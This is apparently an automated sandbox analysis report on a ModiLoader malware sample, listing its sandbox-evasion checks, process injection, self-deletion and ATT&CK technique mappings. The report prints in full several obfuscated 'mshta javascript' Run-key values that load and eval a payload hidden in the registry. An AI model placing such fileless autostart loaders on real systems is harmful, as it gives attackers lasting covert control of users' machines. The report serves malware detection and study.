modiloader | c45dfe5137af4c8207bfdb8a4e2cd6f49905e31aee7eb9739398c46052460164

Modify Registry

Processes:

dllhost.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	dllhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:N0fD4GJOC=\"fnxlYK\";DY5=new%20ActiveXObject(\"WScript.Shell\");gMQR7iqMA=\"0f\";Gj45mS=DY5.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\cec8f912\\\\3172d907\");IytqDpp3y2=\"XytUla\";eval(Gj45mS);hWCTvM51B=\"4A\";"	dllhost.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

dllhost.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools dllhost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	dllhost.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

dllhost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	dllhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	dllhost.exe

Deletes itself 1 IoCs

Processes:

dllhost.exe

pid process

536 dllhost.exe

pid	process
536	dllhost.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

Processes:

dllhost.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:wrCXAdE7d=\"M47h0odZK\";a9l=new%20ActiveXObject(\"WScript.Shell\");uWwxA7xNN=\"9B\";ZbEm56=a9l.RegRead(\"HKCU\\\\software\\\\cec8f912\\\\3172d907\");XQlci87E=\"QR4\";eval(ZbEm56);nOkWFXyG7=\"zQw2LPzh\";"	dllhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:O2AzRTOZ8i=\"Ot\";oE43=new%20ActiveXObject(\"WScript.Shell\");ohHonD8NT=\"fd\";vR5gI=oE43.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\cec8f912\\\\3172d907\");KMDC5sUrk=\"aHx2\";eval(vR5gI);jkiUbSY1H=\"D7E84\";"	dllhost.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

dllhost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	dllhost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	dllhost.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe

description	pid	process	target process
PID 2748 set thread context of 400	2748	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe

Modifies Internet Explorer settings 1 TTPs 10 IoCs

adware spyware

Modify Registry

Processes:

dllhost.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\SOFTWARE\Microsoft\Internet Explorer\International	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl	dllhost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exedllhost.exe

pid	process
2748	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe
2748	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe
2748	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe
2748	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe

Suspicious behavior: MapViewOfSection 12 IoCs

Processes:

VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exedllhost.exedllhost.exe

pid	process
400	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe
400	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe
400	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe
2072	dllhost.exe
2072	dllhost.exe
2072	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe
536	dllhost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe

pid process

2748 VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe

Suspicious use of WriteProcessMemory 23 IoCs

Processes:

VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exeVirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exedllhost.exedllhost.exe

description	pid	process	target process
PID 2748 wrote to memory of 400	2748	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe
PID 2748 wrote to memory of 400	2748	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe
PID 2748 wrote to memory of 400	2748	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe
PID 2748 wrote to memory of 400	2748	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe
PID 2748 wrote to memory of 400	2748	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe
PID 2748 wrote to memory of 400	2748	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe
PID 2748 wrote to memory of 400	2748	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe
PID 2748 wrote to memory of 400	2748	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe
PID 2748 wrote to memory of 400	2748	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe
PID 2748 wrote to memory of 400	2748	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe
PID 2748 wrote to memory of 400	2748	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe
PID 400 wrote to memory of 2072	400	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe	dllhost.exe
PID 400 wrote to memory of 2072	400	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe	dllhost.exe
PID 400 wrote to memory of 2072	400	VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe	dllhost.exe
PID 2072 wrote to memory of 536	2072	dllhost.exe	dllhost.exe
PID 2072 wrote to memory of 536	2072	dllhost.exe	dllhost.exe
PID 2072 wrote to memory of 536	2072	dllhost.exe	dllhost.exe
PID 536 wrote to memory of 404	536	dllhost.exe	dllhost.exe
PID 536 wrote to memory of 404	536	dllhost.exe	dllhost.exe
PID 536 wrote to memory of 404	536	dllhost.exe	dllhost.exe
PID 536 wrote to memory of 1284	536	dllhost.exe	explorer.exe
PID 536 wrote to memory of 1284	536	dllhost.exe	explorer.exe
PID 536 wrote to memory of 1284	536	dllhost.exe	explorer.exe

C:\Users\Admin\AppData\Local\Temp\VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe
"C:\Users\Admin\AppData\Local\Temp\VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2748

C:\Users\Admin\AppData\Local\Temp\VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe
C:\Users\Admin\AppData\Local\Temp\VirusShare_d1fa955a362b7ff0cdf3c1ed5796aa60.exe
2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:400

C:\Windows\SysWOW64\dllhost.exe
dllhost.exe
3⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2072

C:\Windows\SysWOW64\dllhost.exe
dllhost.exe
4⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:536

C:\Windows\SysWOW64\dllhost.exe
"C:\Windows\SysWOW64\dllhost.exe"
5⤵
PID:404

C:\Windows\SysWOW64\explorer.exe
explorer.exe
5⤵
PID:1284

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

3

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

Software Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion